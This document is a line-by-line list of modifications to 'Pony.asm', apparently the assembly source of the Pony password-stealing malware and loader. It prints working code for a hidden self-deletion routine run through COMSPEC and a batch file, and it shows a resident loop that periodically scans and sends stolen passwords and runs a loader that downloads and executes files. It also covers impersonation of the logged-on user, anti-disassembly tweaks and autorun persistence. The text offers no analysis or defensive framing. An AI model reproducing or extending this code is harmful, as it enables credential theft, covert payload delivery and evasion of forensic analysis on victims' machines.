Pony.asm modifications

Line 35 (code addition):
includelib DLL_Loader.lib

Line 57 (code edition):
push   ebp      -> xor      edx, eax
mov      ebp, esp -> xor      eax, edx
pop      ebp      -> xor      edx, eax

Line 63 (code addition):
nop

Line 65 (code addition):
nop

Line 67 (code addition):
nop

Line 70 (code edition):
db   0ffh -> db   0feh

Line 75 (code deletion):
Removed the IFDEF USE_UPX

Line 80 (code addition):
IFNDEF DISABLE_GRABBER

Line 84 (code addition):
include Loader.asm

Line 110 (code addition):
nop

Line 118 (code addition):
nop

Line 119 (code edition):
push   19131011 -> push   19131012

Line 129 (code addition):
nop

Line 135 (code addition):
nop

Line 164 (code addition):
IFNDEF DISABLE_GRABBER

Line 451 (code addition):
ENDIF

Line 451 (code addition):
IFDEF ENABLE_LOADER -> IFDEF SELF_DELETE

Line 456 (code addition/deletion):
Deleted szNumToStrExeFmt/szMD5HashStr/szLoaderValueDupeCheck
Added:
   szBatchFmt            db      '%d.bat',0
   szSelfDelQuoteFmt       db      '      "%s"   ',0
   szShellExecute         db      'ShellExecuteA',0
   szBatchFile             db      13,10,9,9,13,10,13,10,09,"   :ktk   ",13,10,13,10,13,10,"     del    ",9," %1  ",13,10,9,"if  ",9,9," exist ",9,"   %1  ",9,"  goto ",9,13," ktk",13,10," del ",9,"  %0 ",0
   szShell32Lib         db      'shell32.dll',0
   szComSpec            db      'COMSPEC', 0
   szSelfCommand         db      '%s /c del "%s" > NUL',0

Line 466 (code deletion/edition)
RunLoader procedure removed/replaced by:
; Self delete using comspec
SelfDeleteComSpec proc uses ebx
   LOCAL   lpSelfFileName: DWORD
   LOCAL   lpComSpec: DWORD
   LOCAL   lpCommandBuffer: DWORD
   LOCAL   _si: STARTUPINFO
   LOCAL   _pi: PROCESS_INFORMATION

Line 474 (code deletion/edition):
AntiDisasmTrick replaced by:
   invoke   MemAlloc, MAX_PATH+1
   mov   lpSelfFileName, eax

Line 477 (code deletion/edition):
mov   edi, offset szLoaderList removed by:
   invoke   MemAlloc, MAX_PATH+1
   mov   lpComSpec, eax

Line 480 (code deletion/edition):
IFDEF   LOADER_EXECUTE_NEW_FILES_ONLY replaced by:
   invoke   MemAlloc, MAX_PATH+1
   mov   lpCommandBuffer, eax

Line 466 (huge code addition/deletion):
; Self delete using comspec
SelfDeleteComSpec proc uses ebx
   LOCAL   lpSelfFileName: DWORD
   LOCAL   lpComSpec: DWORD
   LOCAL   lpCommandBuffer: DWORD
   LOCAL   _si: STARTUPINFO
   LOCAL   _pi: PROCESS_INFORMATION

   invoke   MemAlloc, MAX_PATH+1
   mov   lpSelfFileName, eax

   invoke   MemAlloc, MAX_PATH+1
   mov   lpComSpec, eax

   invoke   MemAlloc, MAX_PATH+1
   mov   lpCommandBuffer, eax

   invoke   GetModuleFileName, NULL, lpSelfFileName, MAX_PATH

   invoke   GetShortPathName, lpSelfFileName, lpSelfFileName, MAX_PATH

   invoke   ZeroMemory, addr _si, sizeof _si
   invoke   ZeroMemory, addr _pi, sizeof _pi

   mov   _si.cb, sizeof _si
   mov   _si.dwFlags, STARTF_USESHOWWINDOW
   mov   _si.wShowWindow, SW_HIDE

   invoke   GetEnvironmentVariable, addr szComSpec, lpComSpec, MAX_PATH
   .IF   eax
      invoke   wsprintf, lpCommandBuffer, addr szSelfCommand, lpComSpec, lpSelfFileName
      invoke   CreateProcess, NULL, lpCommandBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, addr _si, addr _pi
      .IF   eax
         invoke   GetCurrentProcess
         invoke   SetPriorityClass, eax, HIGH_PRIORITY_CLASS
         invoke   SetFileAttributes, lpSelfFileName, FILE_ATTRIBUTE_NORMAL
         invoke   SetPriorityClass, _pi.hProcess, IDLE_PRIORITY_CLASS
         invoke   ResumeThread, _pi.hThread
         inc   ebx
      .ENDIF
   .ENDIF

   invoke   MemFree, lpSelfFileName
   invoke   MemFree, lpComSpec
   invoke   MemFree, lpCommandBuffer

   mov   eax, ebx

   ret
SelfDeleteComSpec  endp

Line 526 (code addition):
   invoke   SelfDeleteComSpec
   .IF   eax
      ret
   .ENDIF

Line 740 (code addition):
IFNDEF DISABLE_GRABBER

Line 872 (code addition):
ENDIF

Line 874 (code edition):
InitApp proc -> InitApp proc lpUserToken

Line 887 (code edition):
invoke   ImpersonateLocalSystemUser -> invoke   ImpersonateLocalSystemUser, lpUserToken

Line 893 (comment addition):
; Get impersonated username to ignore it in brute-force procedure

Line 905 (code edition/deletion):
   IFNDEF DISABLE_GRABBER
      IFDEF ENCRYPT_REPORT
         invoke   DecodeReportPassword, offset CReportPassword
      ENDIF

Line 911 (code addition):
invoke   Randomize

Line 921 (code edition):
mov   eax, EXCEPTION_CONTINUE_SEARCH-> mov eax, EXCEPTION_CONTINUE_SEARCH

Line 926 (code addition):
   LOCAL   lpUserToken: DWORD
   LOCAL   isFirstCycleRun: DWORD

Line 936 (code addition/deletion):
invoke   InitApp replaced by:
   mov   lpUserToken, NULL ; impersonated user token
   invoke   InitApp, addr lpUserToken

   IFDEF   ENABLE_RESIDENT_MODE
      invoke   CopyRunFromAutoDirectory
   ENDIF

Line 945 (Code addition):
invoke   DecipherList, offset CWordList

Line 948 (deletion/edition):
invoke   ScanAndSend replaced by:
   IFNDEF DISABLE_GRABBER
      invoke   ScanAndSend
   ELSE
      invoke   MyDownloadInit
   ENDIF

Line 954 (comment edition):
; Run loader (it will attempt to download and execute files with current logged on account privileges
; when run from Windows Service [LocalSystem user], which has limited (tricked) access to HKCU path and %APPDATA%)

Line 957 (code edition):
invoke   RunLoader -> invoke   RunLoader, lpUserToken

Line 960 (Procedure addition):
   ENDIF

   ; Resident looped cycle
   mov   isFirstCycleRun, TRUE ; do not send passwords for the first cycle
   IFDEF   ENABLE_RESIDENT_MODE
      .WHILE   TRUE
         IFDEF PERIODIC_PASSWORD_SCAN
         IFNDEF   DISABLE_GRABBER
            invoke   NeedsPasswordGrabbing
            .IF   eax && !isFirstCycleRun
               ; Scan and send passwords
               invoke   ScanAndSend
            .ENDIF
         ENDIF
         ENDIF

         invoke   Sleep, RESIDENT_LOADER_TIMEOUT*60*1000

         IFDEF   ENABLE_LOADER
            invoke   RunLoader, lpUserToken
         ENDIF

         mov   isFirstCycleRun, FALSE
      .ENDW

Line 993 (code edition):
IFNDEF DISABLE_GRABBER

Line 996 (code edition):
ENDIF

Line 998: (comment addition):
; Self delete executable (works also for DLL mode - in this case parent executable will get deleted)

Line 1023 (code deletion):
After AntiDisasmTrick this part disapeared:
   .WHILE   TRUE
      invoke   GetTickCount
      mov   ecx, 10
      xor   edx, edx
      div   ecx
      .IF   edx == 5
         .BREAK
      .ENDIF
   .ENDW